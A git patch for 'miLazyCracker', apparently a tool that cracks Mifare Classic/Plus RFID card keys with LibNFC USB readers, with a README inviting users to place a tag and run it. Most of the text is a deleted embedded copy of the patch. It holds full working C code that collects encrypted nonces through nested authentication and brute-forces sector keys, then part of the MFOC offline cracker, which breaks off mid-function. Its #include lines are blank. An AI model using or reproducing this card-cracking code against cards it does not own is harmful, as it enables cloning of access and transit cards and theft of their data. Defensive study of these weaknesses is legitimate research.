From 3d600ec4ea4c41536daf0a3a1cfcb61737b788dc Mon Sep 17 00:00:00 2001 From: Clark Kent Date: Tue, 3 Jan 2017 21:36:55 +0100 Subject: [PATCH] updating scripts and patches --- 0001-updating-scripts-and-patches.patch | 2510 ----------------------- README.md | 14 +- crypto1_bs.diff | 22 + libnfc_crypto1_crack.c | 725 ------- mfoc.c | 1260 ------------ mfoc_fix_4k_and_mini.diff | 13 + mfoc_support_tnp.diff | 21 + mfoc_test_prng.diff | 160 ++ miLazyCracker.sh | 116 +- miLazyCrackerFreshInstall.sh | 42 +- miLazyCrackerUninstall.sh | 16 + 11 files changed, 335 insertions(+), 4564 deletions(-) delete mode 100644 0001-updating-scripts-and-patches.patch create mode 100644 crypto1_bs.diff delete mode 100644 libnfc_crypto1_crack.c delete mode 100644 mfoc.c create mode 100644 mfoc_fix_4k_and_mini.diff create mode 100644 mfoc_support_tnp.diff create mode 100644 mfoc_test_prng.diff mode change 100644 => 100755 miLazyCracker.sh create mode 100755 miLazyCrackerUninstall.sh diff --git a/0001-updating-scripts-and-patches.patch b/0001-updating-scripts-and-patches.patch deleted file mode 100644 index d33c26a..0000000 --- a/0001-updating-scripts-and-patches.patch +++ /dev/null @@ -1,2510 +0,0 @@ -From b42b72af06a477e247e6b72e685c8b3af1763d9b Mon Sep 17 00:00:00 2001 -From: Clark Kent -Date: Tue, 3 Jan 2017 21:36:55 +0100 -Subject: [PATCH] updating scripts and patches - ---- - README.md | 14 +- - crypto1_bs.diff | 22 + - libnfc_crypto1_crack.c | 725 ------------------------ - mfoc.c | 1260 ------------------------------------------ - mfoc_fix_4k_and_mini.diff | 13 + - mfoc_support_tnp.diff | 21 + - mfoc_test_prng.diff | 160 ++++++ - miLazyCracker.sh | 116 ++-- - miLazyCrackerFreshInstall.sh | 42 +- - miLazyCrackerUninstall.sh | 16 + - 10 files changed, 335 insertions(+), 2054 deletions(-) - create mode 100644 crypto1_bs.diff - delete mode 100755 libnfc_crypto1_crack.c - delete mode 100755 mfoc.c - create mode 100644 mfoc_fix_4k_and_mini.diff - create mode 100644 mfoc_support_tnp.diff - create mode 100644 mfoc_test_prng.diff - mode change 100644 => 100755 miLazyCracker.sh - create mode 100755 miLazyCrackerUninstall.sh - -diff --git a/README.md b/README.md -index e8ababf..f0068a1 100644 ---- a/README.md -+++ b/README.md -@@ -1,5 +1,17 @@ - # miLazyCracker --Mifare Classic Plus - Hardnested Attack Implementation for SCL3711 LibNFC USB reader -+Mifare Classic Plus - Hardnested Attack Implementation for LibNFC USB readers (SCL3711, ASK LoGO, etc) -+ -+Installation: -+```bash -+./miLazyCrackerFreshInstall.sh -+``` -+ -+Usage example: place a tag and enjoy -+```bash -+mkdir mydumps -+cd mydumps -+miLazyCracker -+``` - - This tool is comprised of work from: - - Aram Verstegen (https://github.com/aczid/crypto1_bs) -diff --git a/crypto1_bs.diff b/crypto1_bs.diff -new file mode 100644 -index 0000000..f385858 ---- /dev/null -+++ b/crypto1_bs.diff -@@ -0,0 +1,22 @@ -+diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c -+index 8a53f64..21feed2 100644 -+--- a/libnfc_crypto1_crack.c -++++ b/libnfc_crypto1_crack.c -+@@ -713,6 +713,17 @@ int main (int argc, const char * argv[]) { -+ return 1; -+ } else { -+ printf("Found key: %012"PRIx64"\n", found_key); -++ if (argc==7) { -++ FILE *fpKey = NULL; -++ fpKey = fopen(argv[6], "a"); -++ if (fpKey) { -++ fprintf(fpKey, "%012llx\r\n", found_key); -++ fclose(fpKey); -++ } else { -++ fprintf(stderr, "Cannot open: %s, exiting\n", argv[6]); -++ return 1; -++ } -++ } -+ } -+ printf("Tested %zu states\n", total_states_tested); -+ -diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c -deleted file mode 100755 -index dc9a4e5..0000000 ---- a/libnfc_crypto1_crack.c -+++ /dev/null -@@ -1,725 +0,0 @@ --// Copyright (C) 2016 Aram Verstegen --/* -- GNU GENERAL PUBLIC LICENSE -- Version 2, June 1991 -- -- Copyright (C) 1989, 1991 Free Software Foundation, Inc., -- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -- Everyone is permitted to copy and distribute verbatim copies -- of this license document, but changing it is not allowed. -- -- Preamble -- -- The licenses for most software are designed to take away your --freedom to share and change it. By contrast, the GNU General Public --License is intended to guarantee your freedom to share and change free --software--to make sure the software is free for all its users. This --General Public License applies to most of the Free Software --Foundation's software and to any other program whose authors commit to --using it. (Some other Free Software Foundation software is covered by --the GNU Lesser General Public License instead.) You can apply it to --your programs, too. -- -- When we speak of free software, we are referring to freedom, not --price. Our General Public Licenses are designed to make sure that you --have the freedom to distribute copies of free software (and charge for --this service if you wish), that you receive source code or can get it --if you want it, that you can change the software or use pieces of it --in new free programs; and that you know you can do these things. -- -- To protect your rights, we need to make restrictions that forbid --anyone to deny you these rights or to ask you to surrender the rights. --These restrictions translate to certain responsibilities for you if you --distribute copies of the software, or if you modify it. -- -- For example, if you distribute copies of such a program, whether --gratis or for a fee, you must give the recipients all the rights that --you have. You must make sure that they, too, receive or can get the --source code. And you must show them these terms so they know their --rights. -- -- We protect your rights with two steps: (1) copyright the software, and --(2) offer you this license which gives you legal permission to copy, --distribute and/or modify the software. -- -- Also, for each author's protection and ours, we want to make certain --that everyone understands that there is no warranty for this free --software. If the software is modified by someone else and passed on, we --want its recipients to know that what they have is not the original, so --that any problems introduced by others will not reflect on the original --authors' reputations. -- -- Finally, any free program is threatened constantly by software --patents. We wish to avoid the danger that redistributors of a free --program will individually obtain patent licenses, in effect making the --program proprietary. To prevent this, we have made it clear that any --patent must be licensed for everyone's free use or not licensed at all. -- -- The precise terms and conditions for copying, distribution and --modification follow. -- -- GNU GENERAL PUBLIC LICENSE -- TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION -- -- 0. This License applies to any program or other work which contains --a notice placed by the copyright holder saying it may be distributed --under the terms of this General Public License. The "Program", below, --refers to any such program or work, and a "work based on the Program" --means either the Program or any derivative work under copyright law: --that is to say, a work containing the Program or a portion of it, --either verbatim or with modifications and/or translated into another --language. (Hereinafter, translation is included without limitation in --the term "modification".) Each licensee is addressed as "you". -- --Activities other than copying, distribution and modification are not --covered by this License; they are outside its scope. The act of --running the Program is not restricted, and the output from the Program --is covered only if its contents constitute a work based on the --Program (independent of having been made by running the Program). --Whether that is true depends on what the Program does. -- -- 1. You may copy and distribute verbatim copies of the Program's --source code as you receive it, in any medium, provided that you --conspicuously and appropriately publish on each copy an appropriate --copyright notice and disclaimer of warranty; keep intact all the --notices that refer to this License and to the absence of any warranty; --and give any other recipients of the Program a copy of this License --along with the Program. -- --You may charge a fee for the physical act of transferring a copy, and --you may at your option offer warranty protection in exchange for a fee. -- -- 2. You may modify your copy or copies of the Program or any portion --of it, thus forming a work based on the Program, and copy and --distribute such modifications or work under the terms of Section 1 --above, provided that you also meet all of these conditions: -- -- a) You must cause the modified files to carry prominent notices -- stating that you changed the files and the date of any change. -- -- b) You must cause any work that you distribute or publish, that in -- whole or in part contains or is derived from the Program or any -- part thereof, to be licensed as a whole at no charge to all third -- parties under the terms of this License. -- -- c) If the modified program normally reads commands interactively -- when run, you must cause it, when started running for such -- interactive use in the most ordinary way, to print or display an -- announcement including an appropriate copyright notice and a -- notice that there is no warranty (or else, saying that you provide -- a warranty) and that users may redistribute the program under -- these conditions, and telling the user how to view a copy of this -- License. (Exception: if the Program itself is interactive but -- does not normally print such an announcement, your work based on -- the Program is not required to print an announcement.) -- --These requirements apply to the modified work as a whole. If --identifiable sections of that work are not derived from the Program, --and can be reasonably considered independent and separate works in --themselves, then this License, and its terms, do not apply to those --sections when you distribute them as separate works. But when you --distribute the same sections as part of a whole which is a work based --on the Program, the distribution of the whole must be on the terms of --this License, whose permissions for other licensees extend to the --entire whole, and thus to each and every part regardless of who wrote it. -- --Thus, it is not the intent of this section to claim rights or contest --your rights to work written entirely by you; rather, the intent is to --exercise the right to control the distribution of derivative or --collective works based on the Program. -- --In addition, mere aggregation of another work not based on the Program --with the Program (or with a work based on the Program) on a volume of --a storage or distribution medium does not bring the other work under --the scope of this License. -- -- 3. You may copy and distribute the Program (or a work based on it, --under Section 2) in object code or executable form under the terms of --Sections 1 and 2 above provided that you also do one of the following: -- -- a) Accompany it with the complete corresponding machine-readable -- source code, which must be distributed under the terms of Sections -- 1 and 2 above on a medium customarily used for software interchange; or, -- -- b) Accompany it with a written offer, valid for at least three -- years, to give any third party, for a charge no more than your -- cost of physically performing source distribution, a complete -- machine-readable copy of the corresponding source code, to be -- distributed under the terms of Sections 1 and 2 above on a medium -- customarily used for software interchange; or, -- -- c) Accompany it with the information you received as to the offer -- to distribute corresponding source code. (This alternative is -- allowed only for noncommercial distribution and only if you -- received the program in object code or executable form with such -- an offer, in accord with Subsection b above.) -- --The source code for a work means the preferred form of the work for --making modifications to it. For an executable work, complete source --code means all the source code for all modules it contains, plus any --associated interface definition files, plus the scripts used to --control compilation and installation of the executable. However, as a --special exception, the source code distributed need not include --anything that is normally distributed (in either source or binary --form) with the major components (compiler, kernel, and so on) of the --operating system on which the executable runs, unless that component --itself accompanies the executable. -- --If distribution of executable or object code is made by offering --access to copy from a designated place, then offering equivalent --access to copy the source code from the same place counts as --distribution of the source code, even though third parties are not --compelled to copy the source along with the object code. -- -- 4. You may not copy, modify, sublicense, or distribute the Program --except as expressly provided under this License. Any attempt --otherwise to copy, modify, sublicense or distribute the Program is --void, and will automatically terminate your rights under this License. --However, parties who have received copies, or rights, from you under --this License will not have their licenses terminated so long as such --parties remain in full compliance. -- -- 5. You are not required to accept this License, since you have not --signed it. However, nothing else grants you permission to modify or --distribute the Program or its derivative works. These actions are --prohibited by law if you do not accept this License. Therefore, by --modifying or distributing the Program (or any work based on the --Program), you indicate your acceptance of this License to do so, and --all its terms and conditions for copying, distributing or modifying --the Program or works based on it. -- -- 6. Each time you redistribute the Program (or any work based on the --Program), the recipient automatically receives a license from the --original licensor to copy, distribute or modify the Program subject to --these terms and conditions. You may not impose any further --restrictions on the recipients' exercise of the rights granted herein. --You are not responsible for enforcing compliance by third parties to --this License. -- -- 7. If, as a consequence of a court judgment or allegation of patent --infringement or for any other reason (not limited to patent issues), --conditions are imposed on you (whether by court order, agreement or --otherwise) that contradict the conditions of this License, they do not --excuse you from the conditions of this License. If you cannot --distribute so as to satisfy simultaneously your obligations under this --License and any other pertinent obligations, then as a consequence you --may not distribute the Program at all. For example, if a patent --license would not permit royalty-free redistribution of the Program by --all those who receive copies directly or indirectly through you, then --the only way you could satisfy both it and this License would be to --refrain entirely from distribution of the Program. -- --If any portion of this section is held invalid or unenforceable under --any particular circumstance, the balance of the section is intended to --apply and the section as a whole is intended to apply in other --circumstances. -- --It is not the purpose of this section to induce you to infringe any --patents or other property right claims or to contest validity of any --such claims; this section has the sole purpose of protecting the --integrity of the free software distribution system, which is --implemented by public license practices. Many people have made --generous contributions to the wide range of software distributed --through that system in reliance on consistent application of that --system; it is up to the author/donor to decide if he or she is willing --to distribute software through any other system and a licensee cannot --impose that choice. -- --This section is intended to make thoroughly clear what is believed to --be a consequence of the rest of this License. -- -- 8. If the distribution and/or use of the Program is restricted in --certain countries either by patents or by copyrighted interfaces, the --original copyright holder who places the Program under this License --may add an explicit geographical distribution limitation excluding --those countries, so that distribution is permitted only in or among --countries not thus excluded. In such case, this License incorporates --the limitation as if written in the body of this License. -- -- 9. The Free Software Foundation may publish revised and/or new versions --of the General Public License from time to time. Such new versions will --be similar in spirit to the present version, but may differ in detail to --address new problems or concerns. -- --Each version is given a distinguishing version number. If the Program --specifies a version number of this License which applies to it and "any --later version", you have the option of following the terms and conditions --either of that version or of any later version published by the Free --Software Foundation. If the Program does not specify a version number of --this License, you may choose any version ever published by the Free Software --Foundation. -- -- 10. If you wish to incorporate parts of the Program into other free --programs whose distribution conditions are different, write to the author --to ask for permission. For software which is copyrighted by the Free --Software Foundation, write to the Free Software Foundation; we sometimes --make exceptions for this. Our decision will be guided by the two goals --of preserving the free status of all derivatives of our free software and --of promoting the sharing and reuse of software generally. -- -- NO WARRANTY -- -- 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY --FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN --OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES --PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED --OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF --MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS --TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE --PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, --REPAIR OR CORRECTION. -- -- 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING --WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR --REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, --INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING --OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED --TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY --YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER --PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE --POSSIBILITY OF SUCH DAMAGES. -- -- END OF TERMS AND CONDITIONS --*/ -- --#include --#include --#include --#include --#include --#include --#include --#include --#include -- --#include "crypto1_bs_crack.h" -- --extern uint64_t * crypto1_create(uint64_t key); --extern uint32_t crypto1_word(uint64_t *, uint32_t, int); --extern uint8_t crypto1_byte(uint64_t*, uint8_t, int); --extern uint32_t prng_successor(uint32_t x, uint32_t n); --extern void crypto1_destroy(uint64_t*); -- --#define MC_AUTH_A 0x60 --#define MC_AUTH_B 0x61 -- --nfc_device* pnd; --nfc_target target; --typedef uint8_t byte_t; -- --uint8_t oddparity(const uint8_t bt) --{ -- // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel -- return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; --} -- -- --long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) --{ -- uint64_t num = 0; -- while (len--) { -- num = (num << 8) | (*src); -- src++; -- } -- return num; --} -- -- --static nfc_context *context; -- --#define MAX_FRAME_LEN 264 -- --uint64_t *nonces = NULL; --size_t nonces_collected; -- --enum { -- OK, -- ERROR, -- KEY_WRONG, --}; -- --#define VT100_cleareol "\r\33[2K" -- --// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :) --int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp) --{ -- uint64_t *pcs; -- -- // Possible key counter, just continue with a previous "session" -- uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce -- uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 }; -- -- uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -- uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -- -- uint8_t Rx[MAX_FRAME_LEN]; // Tag response -- uint8_t RxPar[MAX_FRAME_LEN]; // Tag response -- -- uint32_t Nt; -- -- int i; -- -- // Prepare AUTH command -- Cmd[0] = ab_key; -- Cmd[1] = for_block; -- iso14443a_crc_append(Cmd, 2); -- -- // We need full control over the CRC -- if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) { -- nfc_perror(pnd, "nfc_device_set_property_bool crc"); -- return ERROR; -- } -- -- // Request plain tag-nonce -- // TODO: Set NP_EASY_FRAMING option only once if possible -- if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) { -- nfc_perror(pnd, "nfc_device_set_property_bool framing"); -- return ERROR; -- } -- -- if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) { -- fprintf(stdout, "Error while requesting plain tag-nonce "); -- return ERROR; -- } -- -- if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) { -- nfc_perror(pnd, "nfc_device_set_property_bool"); -- return ERROR; -- } -- -- // Save the tag nonce (Nt) -- Nt = bytes_to_num(Rx, 4); -- -- // Init the cipher with key {0..47} bits -- pcs = crypto1_create(known_key); -- -- // Load (plain) uid^nt into the cipher {48..79} bits -- crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0); -- -- // Generate (encrypted) nr+parity by loading it into the cipher -- for (i = 0; i < 4; i++) { -- // Load in, and encrypt the reader nonce (Nr) -- ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; -- ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]); -- } -- -- // Skip 32 bits in the pseudo random generator -- Nt = prng_successor(Nt, 32); -- -- // Generate reader-answer from tag-nonce -- for (i = 4; i < 8; i++) { -- // Get the next random byte -- Nt = prng_successor(Nt, 8); -- // Encrypt the reader-answer (Nt' = suc2(Nt)) -- ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); -- ArEncPar[i] = filter(*pcs) ^ oddparity(Nt); -- } -- -- // Finally we want to send arbitrary parity bits -- if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) { -- nfc_perror(pnd, "nfc_device_set_property_bool parity "); -- return 1; -- } -- -- // Transmit reader-answer -- int res; -- if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { -- fprintf(stderr, "Reader-answer transfer error, exiting.. "); -- return KEY_WRONG; -- } -- -- // Decrypt the tag answer and verify that suc3(Nt) is At -- Nt = prng_successor(Nt, 32); -- -- if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { -- fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. "); -- return ERROR; -- } -- -- Cmd[0] = target_key; -- Cmd[1] = target_block; -- iso14443a_crc_append(Cmd, 2); -- -- for (i = 0; i < 4; i++) { -- ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i]; -- ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]); -- } -- if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { -- fprintf(stderr, "Reader-answer transfer error, exiting.. "); -- return ERROR; -- } -- -- if(fp){ -- for(i = 0; i < 4; i++){ -- fprintf(fp,"%02x", Rx[i]); -- if(RxPar[i] != oddparity(Rx[i])){ -- fprintf(fp,"! "); -- } else { -- fprintf(fp," "); -- } -- } -- fprintf(fp, "\n"); -- } -- if(nonces){ -- nonces[nonces_collected] = 0; -- for(i = 0; i < 4; i++){ -- nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i); -- bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]); -- nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i)); -- } -- nonces_collected++; -- } -- -- crypto1_destroy(pcs); -- return OK; --} -- --uint32_t uid; --uint32_t **space; --uint64_t found_key; --size_t thread_count; --void* crack_states_thread(void* x){ -- const size_t thread_id = (size_t)x; -- int j; -- for(j = thread_id; space[j * 5]; j += thread_count) { -- const uint64_t key = crack_states_bitsliced(space + j * 5); -- if(key != -1){ -- found_key = key; -- break; -- } -- } -- return NULL; --} -- --bool stop_collection = false; --#define CUTOFF ((uint64_t) 1<<39) -- --void * update_predictions_thread(void* p){ -- while(!stop_collection){ -- if(nonces && uid){ -- if(space){ -- craptev1_destroy_space(space); -- space = NULL; -- } -- space = craptev1_get_space(nonces, 95, uid); -- } -- if(space){ -- total_states = craptev1_sizeof_space(space); -- } -- } -- return NULL; --} -- --void notify_status_offline(int sig){ -- printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states))); -- alarm(1); -- fflush(stdout); -- signal(SIGALRM, notify_status_offline); --} -- --void notify_status_online(int sig){ -- if(!total_states){ -- printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected); -- } else { -- printf(VT100_cleareol "Collected %zu nonces... leftover complexity %zu (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2)); -- char c; -- if(scanf("%c", &c) == 1 || total_states < CUTOFF){ -- printf(" - initializing brute-force phase...\n"); -- alarm(0); -- stop_collection = true; -- return; -- } else { -- printf(" - press enter to start brute-force phase"); -- } -- } -- alarm(1); -- fflush(stdout); -- signal(SIGALRM, notify_status_online); --} -- --uint64_t known_key; --uint8_t for_block; --uint8_t ab_key; --uint8_t target_block; --uint8_t target_key; --FILE* fp; -- --const nfc_modulation nmMifare = { -- .nmt = NMT_ISO14443A, -- .nbr = NBR_106, --}; -- --void * update_nonces_thread(void* v){ -- while(!stop_collection){ -- // Configure the CRC and Parity settings -- nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); -- nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); -- // Poll for a ISO14443A (MIFARE) tag -- if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { -- nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp); -- } else { -- printf(VT100_cleareol "Don't move the tag!"); -- fflush(stdout); -- } -- } -- return NULL; --} -- --uint64_t main (int argc, const char * argv[]) { -- nfc_init(&context); -- pnd = nfc_open(context, NULL); -- -- if (pnd == NULL) { -- fprintf(stderr, "No NFC device connection\n"); -- return 1; -- } -- -- nfc_initiator_init(pnd); -- -- nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false); -- // Let the reader only try once to find a tag -- nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false); -- nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); -- nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); -- nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false); -- -- uid = 0; -- -- // Enable field so more power consuming cards can power themselves up -- nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true); -- if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { -- uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen); -- } -- -- if(!uid){ -- fprintf(stderr, "No tag detected!\n"); -- // Disconnect from NFC device -- nfc_close(pnd); -- return 1; -- } -- -- if(argc < 6){ -- printf("%s \n", argv[0]); -- nfc_close(pnd); -- return 1; -- } -- -- known_key = strtoull(argv[1], 0, 16); -- for_block = atoi(argv[2]); -- ab_key = MC_AUTH_A; -- if(argv[3][0] == 'b' || argv[3][0] == 'B'){ -- ab_key = MC_AUTH_B; -- } -- target_block = atoi(argv[4]); -- target_key = MC_AUTH_A; -- if(argv[5][0] == 'b' || argv[5][0] == 'B'){ -- target_key = MC_AUTH_B; -- } -- switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){ -- case KEY_WRONG: -- printf("%012"PRIx64" doesn't look like the right key %s for block %u\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block); -- return 1; -- case OK: -- break; -- case ERROR: -- default: -- printf("Some other error occurred.\n"); -- break; -- } -- -- char filename[21]; -- sprintf(filename, "0x%04x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B"); -- fp = fopen(filename, "wb"); -- -- printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %s %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block); -- nonces_collected = 0; -- nonces = malloc(sizeof (uint64_t) << 24); -- memset(nonces, 0xff, sizeof (uint64_t) << 24); -- -- fcntl(0, F_SETFL, O_NONBLOCK); -- signal(SIGALRM, notify_status_online); -- alarm(1); -- pthread_t prediction_thread, nonce_gathering_thread; -- pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL); -- pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL); -- pthread_join(nonce_gathering_thread, 0); -- pthread_join(prediction_thread, 0); -- alarm(0); -- -- if(fp){ -- fclose(fp); -- } -- nfc_close(pnd); -- -- if(!space){ -- space = craptev1_get_space(nonces, 95, uid); -- } -- if(space){ -- total_states = craptev1_sizeof_space(space); -- } else { -- total_states = 0; -- } -- if(!total_states){ -- fprintf(stderr, "No solution found :(\n"); -- return 1; -- } -- -- thread_count = get_nprocs_conf(); -- // append some zeroes to the end of the space to make sure threads don't go off into the wild -- size_t j = 0; -- for(j = 0; space[j]; j+=5){ -- } -- size_t fill = j + (5*thread_count); -- for(; j < fill; j++) { -- space[j] = 0; -- } -- pthread_t threads[thread_count]; -- -- crypto1_bs_init(); -- -- uint8_t rollback_byte = **space; -- // convert to 32 bit little-endian -- crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8); -- -- for(size_t tests = 0; tests < NONCE_TESTS; tests++){ -- // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine -- uint32_t test_nonce = uid^rev32(nonces[tests]); -- uint32_t test_parity = (nonces[tests]>>32)^rev32(uid); -- test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3); -- crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32); -- // convert to 32 bit little-endian -- crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4); -- } -- -- printf("Starting %zu threads to test %zu states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES); -- total_states_tested = 0; -- keys_found = 0; -- signal(SIGALRM, notify_status_offline); -- -- notify_status_offline(0); -- alarm(1); -- -- size_t i; -- for(i = 0; i < thread_count; i++){ -- pthread_create(&threads[i], NULL, crack_states_thread, (void*) i); -- } -- for(i = 0; i < thread_count; i++){ -- pthread_join(threads[i], 0); -- } -- alarm(0); -- printf("\n"); -- if(!keys_found){ -- fprintf(stderr, "No solution found :(\n"); -- return 1; -- } else { -- FILE *fpKey; -- fpKey = fopen("/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt", "a"); -- printf("Found key: %012"PRIx64"\n", found_key); -- fprintf(fpKey, "%012llx\r\n", found_key); -- fclose(fpKey); -- } -- printf("Tested %zu states\n", total_states_tested); -- -- craptev1_destroy_space(space); -- return 0; --} -diff --git a/mfoc.c b/mfoc.c -deleted file mode 100755 -index ec68a0f..0000000 ---- a/mfoc.c -+++ /dev/null -@@ -1,1260 +0,0 @@ --/*- -- * Mifare Classic Offline Cracker -- * -- * This program is free software; you can redistribute it and/or -- * modify it under the terms of the GNU General Public License -- * as published by the Free Software Foundation; either version 2 -- * of the License, or (at your option) any later version. -- * -- * This program is distributed in the hope that it will be useful, -- * but WITHOUT ANY WARRANTY; without even the implied warranty of -- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- * GNU General Public License for more details. -- * -- * You should have received a copy of the GNU General Public License -- * along with this program; if not, write to the Free Software -- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. -- * -- * Contact: -- * -- * Porting to libnfc 1.3.3: Michal Boska -- * Porting to libnfc 1.3.9 and upper: Romuald Conty -- * -- */ -- --/* -- * This implementation was written based on information provided by the -- * following documents: -- * -- * http://eprint.iacr.org/2009/137.pdf -- * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf -- * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf -- * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf -- */ -- --#define _XOPEN_SOURCE 1 // To enable getopt -- --#include --#include --#include -- --#include -- --// NFC --#include -- --// Crapto1 --#include "crapto1.h" -- --// Internal --#include "config.h" --#include "mifare.h" --#include "nfc-utils.h" --#include "mfoc.h" -- --//SLRE --#include "slre.h" --#include "slre.c" -- --nfc_context *context; -- --uint64_t knownKey = 0; --char knownKeyLetter = 'A'; --uint32_t knownSector = 0; --uint32_t unknownSector = 0; --char unknownKeyLetter = 'A'; --uint32_t unexpected_random = 0; -- --// Determine the distance between two nonces. --// Assume that the difference is small, but we don't know which is first. --// Therefore try in alternating directions. --int32_t dist_nt(uint32_t nt1, uint32_t nt2) { -- -- if (nt1 == nt2) return 0; -- -- uint16_t i; -- uint32_t nttmp1 = nt1; -- uint32_t nttmp2 = nt2; -- -- for (i = 1; i < (32768/8); ++i) { -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; -- -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); -- 